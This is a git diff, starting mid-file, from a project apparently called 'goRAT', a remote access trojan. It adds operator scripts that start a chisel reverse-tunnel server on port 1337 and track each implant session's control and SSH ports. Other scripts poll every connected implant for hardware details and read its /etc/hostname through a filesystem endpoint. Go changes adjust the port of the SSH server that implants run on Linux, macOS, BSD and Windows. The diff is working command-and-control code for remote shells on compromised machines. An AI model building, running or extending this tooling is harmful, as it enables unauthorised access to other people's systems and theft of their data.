[]string{"R:" + controlPort, "R:" + sshPort} c, err := chisel.NewClient(&config) if err != nil { diff --git a/server/chisel_1.7.6 b/scripts/chisel_1.7.6 similarity index 100% rename from server/chisel_1.7.6 rename to scripts/chisel_1.7.6 diff --git a/scripts/list_hardware.sh b/scripts/list_hardware.sh new file mode 100755 index 0000000..57376ce --- /dev/null +++ b/scripts/list_hardware.sh @@ -0,0 +1,5 @@ +#!/usr/bin/env bash + +cat /tmp/goRAT/Control_Ports | cut -d ':' -f 2 | while read port; do + curl -s localhost:$port/hardware +done diff --git a/server/list_hostnames.sh b/scripts/list_hostnames.sh similarity index 87% rename from server/list_hostnames.sh rename to scripts/list_hostnames.sh index 1d41b27..ff39868 100755 --- a/server/list_hostnames.sh +++ b/scripts/list_hostnames.sh @@ -1,5 +1,5 @@ #!/usr/bin/env bash cat /tmp/goRAT/Control_Ports | cut -d ':' -f 2 | while read port; do - echo $(curl -s localhost:$port/fs/etc/hostname) = "$port","$(echo "$port - 1" | bc)" + echo $(curl -s localhost:$port/fs/etc/hostname) = "$port","$(echo "$port + 1" | bc)" done diff --git a/scripts/start_server.sh b/scripts/start_server.sh new file mode 100755 index 0000000..7b07ac5 --- /dev/null +++ b/scripts/start_server.sh @@ -0,0 +1,51 @@ +#!/bin/bash + +base_dl="/tmp/goRAT" +ssh_ports="/tmp/goRAT/SSH_Ports" +control_ports="/tmp/goRAT/Control_Ports" +tmp="0" + +rm -rf $base_dl +mkdir -p $base_dl +touch $ssh_ports +touch $control_ports + +echo 'Starting Chisel Server on Port 1337' +./chisel_1.7.6 server -p 1337 -v --reverse 2>&1 | + +while read -r line + do + if echo "$line" | grep -q "Listening"; then + if echo "$line" | grep -q 'session'; then + port=$(echo "$line" | grep "Listening" | cut -d':' -f 7 | cut -d'=' -f 1) + session=$(echo "$line" | cut -d'#' -f2 | cut -d':' -f1) + val=$(echo "$tmp + 1" | bc) + + if [ "$val" -ne "$port" ]; then + first_port=$port + second_port=$(echo "$port + 1" | bc) + + echo "=============================================" + echo "Session #$session | Control Server Mounted On: $first_port" + echo "Session $session : $first_port" >> "$control_ports" + echo "Session #$session | SSH Server Mounted On: $second_port" + echo "Session $session : $second_port" >> "$ssh_ports" + fi + + tmp="$port" + fi + fi + + if echo "$line" | grep -q "Closed connection"; then + if echo "$line" | grep -q "session"; then + session=$(echo "$line" | cut -d'#' -f2 | cut -d':' -f1) + + echo "=============================================" + echo "Session #$session | Closed Connection on Two Ports" + grep -v "Session $session" $ssh_ports > $ssh_ports.tmp + mv $ssh_ports.tmp $ssh_ports + grep -v "Session $session" $control_ports > $control_ports.tmp + mv $control_ports.tmp $control_ports + fi + fi +done diff --git a/server/start_server.sh b/server/start_server.sh deleted file mode 100755 index e1670a4..0000000 --- a/server/start_server.sh +++ /dev/null @@ -1,45 +0,0 @@ -#!/bin/bash - -base="/tmp/goRAT" -s_ports="/tmp/goRAT/SSH_Ports" -c_ports="/tmp/goRAT/Control_Ports" -last_port=0 - -rm -rf $base -mkdir -p $base -touch $s_ports -touch $c_ports - -echo "Chisel Server Listening on 0.0.0.0:1337" -./chisel_1.7.6 server -p 1337 -v --reverse 2>&1 | - -while read -r line - do - if echo "$line" | grep -q "Listening"; then - if echo "$line" | grep -q "session"; then - port=$(echo "$line" | grep "Listening" | cut -d':' -f 7 | cut -d'=' -f 1) - session=$(echo "$line" | cut -d'#' -f2 | cut -d':' -f1) - val=$(echo "$last_port + 1" | bc) - - if [ "$val" -eq "$port" ]; then - echo "Session #$session | Control Server Mounted On: $port" - echo "Session $session : $port" >> $c_ports - else - echo "Session #$session | SSH Server Mounted On: $port" - echo "Session $session : $port" >> $s_ports - fi - last_port="$port" - fi - fi - - if echo "$line" | grep -q "Closed connection"; then - if echo "$line" | grep -q "session"; then - session=$(echo "$line" | cut -d'#' -f2 | cut -d':' -f1) - echo "Session #$session | Closed Connection on Two Ports" - grep -v "Session $session" $s_ports > $s_ports.tmp - mv $s_ports.tmp $s_ports - grep -v "Session $session" $c_ports > $c_ports.tmp - mv $c_ports.tmp $c_ports - fi - fi -done diff --git a/shell/ssh_darwin.go b/shell/ssh_darwin.go index f9913bd..55fb162 100644 --- a/shell/ssh_darwin.go +++ b/shell/ssh_darwin.go @@ -23,7 +23,7 @@ var ( // SSHServer starts a gliderlabs ssh server on a port and attachs to the PTY // IO is copied in and out via the ssh server from `stdin` and `stdout` func SSHServer(BasePort int) { - Port := strconv.Itoa(BasePort + 0) + Port := strconv.Itoa(BasePort + 1) log.Println("Starting SSH server on port " + Port + "...") forwardHandler := &ssh.ForwardedTCPHandler{} diff --git a/shell/ssh_freebsd.go b/shell/ssh_freebsd.go index 6bcd74a..81c78f5 100644 --- a/shell/ssh_freebsd.go +++ b/shell/ssh_freebsd.go @@ -25,7 +25,7 @@ var ( // SSHServer starts a gliderlabs ssh server on a port and attachs to the PTY // IO is copied in and out via the ssh server from `stdin` and `stdout` func SSHServer(BasePort int) { - Port := strconv.Itoa(BasePort + 0) + Port := strconv.Itoa(BasePort + 1) log.Println("Starting SSH server on port " + Port + "...") forwardHandler := &ssh.ForwardedTCPHandler{} diff --git a/shell/ssh_linux.go b/shell/ssh_linux.go index 6bcd74a..81c78f5 100644 --- a/shell/ssh_linux.go +++ b/shell/ssh_linux.go @@ -25,7 +25,7 @@ var ( // SSHServer starts a gliderlabs ssh server on a port and attachs to the PTY // IO is copied in and out via the ssh server from `stdin` and `stdout` func SSHServer(BasePort int) { - Port := strconv.Itoa(BasePort + 0) + Port := strconv.Itoa(BasePort + 1) log.Println("Starting SSH server on port " + Port + "...") forwardHandler := &ssh.ForwardedTCPHandler{} diff --git a/shell/ssh_openbsd.go b/shell/ssh_openbsd.go index 6bcd74a..81c78f5 100644 --- a/shell/ssh_openbsd.go +++ b/shell/ssh_openbsd.go @@ -25,7 +25,7 @@ var ( // SSHServer starts a gliderlabs ssh server on a port and attachs to the PTY // IO is copied in and out via the ssh server from `stdin` and `stdout` func SSHServer(BasePort int) { - Port := strconv.Itoa(BasePort + 0) + Port := strconv.Itoa(BasePort + 1) log.Println("Starting SSH server on port " + Port + "...") forwardHandler := &ssh.ForwardedTCPHandler{} diff --git a/shell/ssh_windows.go b/shell/ssh_windows.go index dfc9088..57a31cf 100644 --- a/shell/ssh_windows.go +++ b/shell/ssh_windows.go @@ -17,7 +17,7 @@ import ( // A small micro API process commands and passes them to back and forth // This is bad and should not be used func SSHServer(BasePort int) { - Port := strconv.Itoa(BasePort + 0) + Port := strconv.Itoa(BasePort + 1) forwardHandler := &ssh.ForwardedTCPHandler{} log.Println("Starting SSH server on port " + Port + "...")